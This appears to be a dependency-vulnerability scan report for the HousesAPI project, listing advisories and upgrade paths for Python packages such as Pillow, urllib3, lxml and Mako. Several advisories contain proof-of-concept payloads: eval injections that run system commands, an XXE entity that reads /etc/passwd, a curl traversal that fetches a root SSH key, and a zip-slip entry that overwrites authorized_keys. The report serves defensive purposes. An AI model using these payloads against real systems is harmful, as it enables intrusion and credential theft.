Vulnerabilities

56 via 203 paths

Dependencies

84

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 56
  • 2
Severity
  • 4
  • 17
  • 32
  • 5
Status
  • 58
  • 0
  • 0

critical severity

Improper Following of a Certificate's Chain of Trust

  • Vulnerable module: certifi
  • Introduced through: certifi@2021.5.30, elastic-apm@6.2.2 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI certifi@2021.5.30
    Remediation: Upgrade to certifi@2023.7.22.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 certifi@2021.5.30
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 certifi@2021.5.30
    Remediation: Upgrade to elasticsearch@8.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 certifi@2021.5.30
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 certifi@2021.5.30
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 certifi@2021.5.30

Overview

Affected versions of this package are vulnerable to Improper Following of a Certificate's Chain of Trust. E-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.

Note:

This issue is not an inherent vulnerability in the package, but a security measure against potential harmful effects of trusting the now-revoked root certificates.

Remediation

Upgrade certifi to version 2023.7.22 or higher.

References

critical severity

Arbitrary Code Execution

  • Vulnerable module: joblib
  • Introduced through: joblib@1.0.1

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI joblib@1.0.1
    Remediation: Upgrade to joblib@1.1.1.

Overview

joblib is a Lightweight pipelining with Python functions

Affected versions of this package are vulnerable to Arbitrary Code Execution via the pre_dispatch flag in Parallel() class due to the eval() statement.

PoC

def f():
    return 1
p = Parallel(n_jobs=3, pre_dispatch="sys.exit(0)")
p(delayed(f)() for i in range(10)) # this will cause the system to exit

Remediation

Upgrade joblib to version 1.1.1 or higher.

References

critical severity

Arbitrary Code Execution

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@9.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Arbitrary Code Execution via PIL.ImageMath.eval which allows evaluation of arbitrary expressions, such as ones that use the Python exec method.

Remediation

Upgrade Pillow to version 9.0.0 or higher.

References

critical severity

Heap-based Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@10.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.

Notes:

This is only exploitable if the color_cache_bits value defines which size to use.

This vulnerability was also published on libwebp CVE-2023-5129

Changelog:

2023-09-12: Initial advisory publication

2023-09-27: Advisory details updated, including CVSS, references

2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863

2023-09-28: Research and addition of additional affected libraries

2024-01-28: Additional fix information

Remediation

Upgrade Pillow to version 10.0.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: elastic-apm@6.2.2, elasticsearch@7.13.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 urllib3@2.0.7
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 urllib3@2.0.7
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI selenium@3.141.0 urllib3@2.0.7
    Remediation: Upgrade to selenium@3.141.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 urllib3@2.0.7
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: elastic-apm@6.2.2, elasticsearch@7.13.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 urllib3@2.0.7
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 urllib3@2.0.7
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI selenium@3.141.0 urllib3@2.0.7
    Remediation: Upgrade to selenium@3.141.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 urllib3@2.0.7
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: elastic-apm@6.2.2, elasticsearch@7.13.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 urllib3@2.0.7
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 urllib3@2.0.7
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI selenium@3.141.0 urllib3@2.0.7
    Remediation: Upgrade to selenium@3.141.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 urllib3@2.0.7
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: lxml
  • Introduced through: pyquery@1.4.3 and requests-html@0.10.0

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pyquery@1.4.3 lxml@5.4.0
    Remediation: Upgrade to pyquery@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyquery@1.4.3 lxml@5.4.0

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the iterparse or ETCompatXMLParser functions when resolve_entities is set to allow external entities. An attacker can access local files by providing crafted XML input containing external entity references.

Workaround

This vulnerability can be mitigated by explicitly setting the resolve_entities option to resolve_entities='internal' or resolve_entities=False.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade lxml to version 6.1.0 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: mako
  • Introduced through: flask-migrate@2.5.2

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 alembic@1.12.1 mako@1.2.4
    Remediation: Upgrade to flask-migrate@4.0.5.

Overview

Affected versions of this package are vulnerable to Directory Traversal in the get_template function on Windows systems due to improper normalization of backslash characters in URIs. An attacker can access and read files outside the intended template directory by supplying specially crafted template names containing backslash traversal sequences.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Mako to version 1.3.12 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: mako
  • Introduced through: flask-migrate@2.5.2

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 alembic@1.12.1 mako@1.2.4
    Remediation: Upgrade to flask-migrate@4.0.5.

Overview

Affected versions of this package are vulnerable to Directory Traversal via the get_template() function. An attacker can access arbitrary files readable by the process by supplying a specially crafted URI with a double-slash prefix, which bypasses path normalization checks.

Note:

This is exploitable at the library API level. HTTP-based exploitation is mitigated by Python's BaseHTTPRequestHandler which normalizes double-slash prefixes since CPython gh-87389. Applications using other HTTP servers that do not normalize paths may be affected.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Mako to version 1.3.11 or higher.

References

high severity
new

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: urllib3
  • Introduced through: elastic-apm@6.2.2, elasticsearch@7.13.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 urllib3@2.0.7
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 urllib3@2.0.7
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI selenium@3.141.0 urllib3@2.0.7
    Remediation: Upgrade to selenium@3.141.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 urllib3@2.0.7
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in urlopen() when using ProxyManager.connection_from_url() with assert_same_host=False, directly rather than via the high-level APIs including urllib3.request(), PoolManager.request(), and ProxyManager.request(). An attacker can expose headers such as Authorization, Cookie, and Proxy-Authorization by triggering cross-origin redirects, which does not properly invoke remove_headers_on_redirect.

Remediation

Upgrade urllib3 to version 2.7.0 or higher.

References

high severity

Eval Injection

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Information Exposure

  • Vulnerable module: flask
  • Introduced through: flask@2.0.1, flask-migrate@2.5.2 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1
    Remediation: Upgrade to flask@2.2.5.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Information Exposure in the form of exposing the permanent session cookie, when all of the following conditions are met:

  1. The application is hosted behind a caching proxy that does not strip cookies or ignore responses with cookies.

  2. The application sets session.permanent = True.

  3. The application does not access or modify the session at any point during a request.

  4. SESSION_REFRESH_EACH_REQUEST is enabled (the default).

  5. The application does not set a Cache-Control header to indicate that a page is private or should not be cached.

A response containing data intended for one client may be cached and sent to other clients. If the proxy also caches Set-Cookie headers, it may send one client's session cookie to other clients. Under these conditions, the Vary: Cookie header is not set when a session is refreshed (re-sent to update the expiration) without being accessed or modified.

Remediation

Upgrade flask to version 2.2.5, 2.3.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@8.3.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Pillow to version 8.3.2 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@10.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: selenium
  • Introduced through: selenium@3.141.0

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI selenium@3.141.0
    Remediation: Upgrade to selenium@4.15.1.

Overview

selenium is a Python language bindings for Selenium WebDriver

Affected versions of this package are vulnerable to NULL Pointer Dereference due to an insufficient check on CookieWndProc function. An attacker can cause the application to crash by sending specially crafted data that triggers this condition.

PoC

Attacker Server Code

from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timedelta

class CustomHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type', 'text/html')
        # Set the cookie expiration to one day in the future
        expiration_date = (datetime.utcnow() + timedelta(days=1)).strftime('%a, %d %b %Y %H:%M:%S GMT')
        
        well_formed_cookie = f"cookie_name=cookie_value; Domain=127.0.0.1; Path=/; HttpOnly; Expires={expiration_date};"
        self.send_header('Set-Cookie', well_formed_cookie)

        malicious_cookie = f"cookie_name2" #crash
        self.send_header('Set-Cookie', malicious_cookie)

        self.end_headers()

        # Send message back to client
        message = "Hello world!"
        self.wfile.write(bytes(message, "utf8"))
        return

def run():
    print('Starting server...')
    server_address = ('127.0.0.1', 8090)
    httpd = HTTPServer(server_address, CustomHTTPRequestHandler)
    print('Server is running...')
    httpd.serve_forever()

run()

Example Victim Code

from selenium import webdriver
import logging
import time

handler = logging.FileHandler("sel.log")
logger = logging.getLogger('selenium')
logging.basicConfig(level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)

options = webdriver.IeOptions()
options.ignore_zoom_level = True
options.ignore_protected_mode_settings = True
options.attach_to_edge_chrome = True
options.initial_browser_url = 'https://selenium.dev'
service = webdriver.IeService(log_file="ie.log", log_level='DEBUG')
driver = webdriver.Ie(options=options,service=service)

driver.set_page_load_timeout(20)
print("Getting the page: ")

try:
    driver.get("http://127.0.0.1:8090/")
except Exception as e:
    print(e)

print("Got the page!")
print("Get Cookies: ")
cookies = driver.get_cookies()
print(cookies)
time.sleep(3)
driver.quit()

Remediation

Upgrade selenium to version 4.15.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@2.2.3.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
